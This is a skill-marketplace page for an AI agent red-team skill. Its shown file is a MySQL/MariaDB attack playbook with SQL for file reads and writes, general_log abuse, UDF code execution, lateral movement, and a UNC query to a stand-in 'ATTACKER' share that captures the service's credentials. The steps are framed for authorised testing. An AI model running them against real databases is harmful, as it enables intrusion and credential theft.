pale-knight/redteam-skill / skills/service-attack
service-attack
Verified直连网络服务攻击链。用于已经识别/枚举的非专门领域服务,从数据库、数据存储、文件/远程访问、基础设施、消息队列、DNS/网络服务、打印机/MFP/NAS/BMC/网络设备等服务入口继续利用到凭据、代码执行、主机控制、横向能力或新的独立身份。由操作者选择具体攻击链;不自动切换模块。
| File | Kind | Size |
|---|---|---|
| SKILL.md | skill md | 7.3 KB |
| references/database-mssql.md | markdown | 3.3 KB |
| references/database-mysql.md | markdown | 2.5 KB |
| references/database-oracle.md | markdown | 1.7 KB |
| references/database-postgresql.md | markdown | 2.1 KB |
| references/datastore-nosql.md | markdown | 3.0 KB |
| references/dns-network-services.md | markdown | 1.9 KB |
| references/file-services.md | markdown | 2.3 KB |
| references/infrastructure.md | markdown | 2.8 KB |
| references/messaging.md | markdown | 2.4 KB |
| references/network-appliance-cves.md | markdown | 5.6 KB |
| references/network-devices.md | markdown | 9.8 KB |
| references/remote-access.md | markdown | 1.1 KB |
| references/vulnerability-intelligence.md | markdown | 535 B |
references/database-mysql.md
View on GitHub# MySQL / MariaDB Direct-Service Attack Chain
---
## 1. Gate
```sql
SELECT VERSION(), USER(), CURRENT_USER(), @@hostname, @@version_compile_os;
SHOW GRANTS;
SELECT @@secure_file_priv, @@plugin_dir, @@global.general_log, @@global.general_log_file;
SHOW ENGINES;
```
关键权限:
```text
FILE
SYSTEM_VARIABLES_ADMIN(旧版可能SUPER)
CREATE SERVER
CREATE FUNCTION / plugin loading relevant privileges
OS filesystem permissions of mysqld account
```
---
## 2. File Read / OUTFILE
`LOAD_FILE()` / `INTO OUTFILE` 首先检查 `FILE` 和 `secure_file_priv`:
```sql
SELECT LOAD_FILE('/etc/hostname');
```
只有已知目标路径和写权限成立时才做 marker:
```sql
SELECT 'service-attack-marker' INTO OUTFILE '/allowed/path/marker.txt';
```
Cleanup:删除 marker 需要 OS 或其他可用文件 primitive;无法可靠清理时不要写生产路径。
---
## 3. general_log File Write
Black-cat 的方向值得保留,但条件必须修正:`general_log_file`/`general_log` 是动态全局变量,现代 MySQL 通常需要 `SYSTEM_VARIABLES_ADMIN`(旧版 SUPER);最终是否能写任意路径取决于 mysqld OS 权限。`secure_file_priv` 不是 general_log 的核心门控。
记录原值:
```sql
SELECT @@global.log_output,@@global.general_log,@@global.general_log_file;
```
经批准后设置临时 marker 路径:
```sql
SET GLOBAL log_output='FILE';
SET GLOBAL general_log_file='/tmp/mysql-general-marker.log';
SET GLOBAL general_log=ON;
SELECT 'service-attack-marker';
SET GLOBAL general_log=OFF;
```
Cleanup:恢复三个原值并删除临时文件(若有 OS 文件删除 primitive)。
---
## 4. UDF / Plugin
先判断:
```sql
SELECT @@plugin_dir;
SHOW GRANTS;
```
UDF 不是“有 FILE 就一定 RCE”。需要能够把兼容共享库放进可加载目录、创建函数、架构/OS匹配,并且数据库进程具备文件权限。
授权靶场才加载测试 UDF;优先 marker `id` / `whoami`,不要直接长期 shell。
---
## 5. Windows UNC Authentication
Windows MySQL 的文件读取 primitive 可测试 UNC:
```sql
SELECT LOAD_FILE('\\\\ATTACKER\\share\\marker');
```
成功判断:服务身份向受控 SMB listener 发起认证。记录账户类型和 source,不自动推断域权限。
---
## 6. FEDERATED Lateral
```sql
SHOW ENGINES;
```
如果 `FEDERATED` 支持且当前身份有创建 server/table 能力,可在靶场验证到另一 MySQL 的连接关系。先使用只读远端表证明,避免修改远端数据。
链可连续 A→B,但每一跳都重新记录身份/权限。
Related skills
| Skill | Stars | Updated | Works with | Status | Install |
|---|---|---|---|---|---|
| slack-gif-creatoranthropics/skillsKnowledge and utilities for creating animated GIFs optimized for Slack. Provides constraints, validation tools, and animation concepts. Use when users request animated GIFs for Slack like "make me a GIF of X doing Y for Slack." | Stars: 198k | Updated | Claude CodeCodex | Verified | Install |
| ponytailDietrichGebert/ponytailLazy senior dev mode for any coding task: the smallest change that fully solves it, and a reply a busy human understands in one read. | Stars: 194k | Updated | Claude CodeCodex | Verified | Install |
| ponytail-debtDietrichGebert/ponytailHarvest every shortcut: comment into one debt ledger, so deferrals get tracked instead of forgotten. One-shot report. | Stars: 194k | Updated | Claude CodeCodex | Verified | Install |
| ponytail-debtDietrichGebert/ponytailList every `shortcut:` comment (and older `ponytail:` ones) as a debt ledger. One-shot report, changes nothing. Use for "ponytail debt", "what did ponytail defer", "list the shortcuts", /ponytail-debt. | Stars: 194k | Updated | Claude CodeCodex | Verified | Install |